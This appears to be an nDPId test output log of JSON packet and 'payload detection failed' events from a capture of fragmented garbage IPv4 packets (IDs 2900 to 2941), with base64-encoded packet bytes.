+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2900,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434353,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpEAGRQ0KAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2900,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2901,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434361,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpkAGRQsKAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2901,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2902,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434371,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqEAGRQkKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2902,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2903,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434379,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqkAGRQcKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2903,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2904,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434390,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrEAGRQUKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2904,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2905,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434401,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrkAGRQMKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2905,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2906,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434415,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgsEAGRQEKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2906,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2907,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434427,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgskAGRP8KAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2907,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2908,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434439,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtEAGRP0KAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2908,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2909,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434451,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtkAGRPsKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2909,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2910,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434462,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAguEAGRPkKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2910,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2911,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434469,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgukAGRPcKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2911,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2912,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434477,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvEAGRPUKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2912,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2913,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434487,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvkAGRPMKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2913,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2914,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434500,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwEAGRPEKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2914,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2915,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434512,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwkAGRO8KAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2915,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2916,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434523,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxEAGRO0KAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2916,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2917,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434535,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxkAGROsKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2917,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2918,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434548,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgyEAGROkKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2918,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2919,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434559,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgykAGROcKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2919,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2920,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434571,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzEAGROUKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2920,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2921,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434591,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzkAGROMKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2921,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2922,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434603,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0EAGROEKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2922,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2923,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434616,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0kAGRN8KAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2923,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2924,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434629,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1EAGRN0KAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2924,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2925,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434641,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1kAGRNsKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2925,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2926,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434650,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2EAGRNkKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2926,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2927,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434657,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2kAGRNcKAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2927,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2928,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434665,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3EAGRNUKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2928,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2929,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434673,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3kAGRNMKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2929,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2930,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434681,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4EAGRNEKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2930,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2931,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434696,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4kAGRM8KAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2931,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2932,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434708,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5EAGRM0KAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2932,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2933,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434719,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5kAGRMsKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2933,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2934,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434731,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6EAGRMkKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2934,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2935,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434742,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6kAGRMcKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2935,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2936,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434754,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7EAGRMUKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2936,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2937,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434768,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7kAGRMMKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2937,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2938,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434781,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8EAGRMEKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2938,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2939,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434793,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8kAGRL8KAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2939,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2940,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434805,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9EAGRL0KAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2940,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2941,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434820,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9kAGRLsKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2941,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 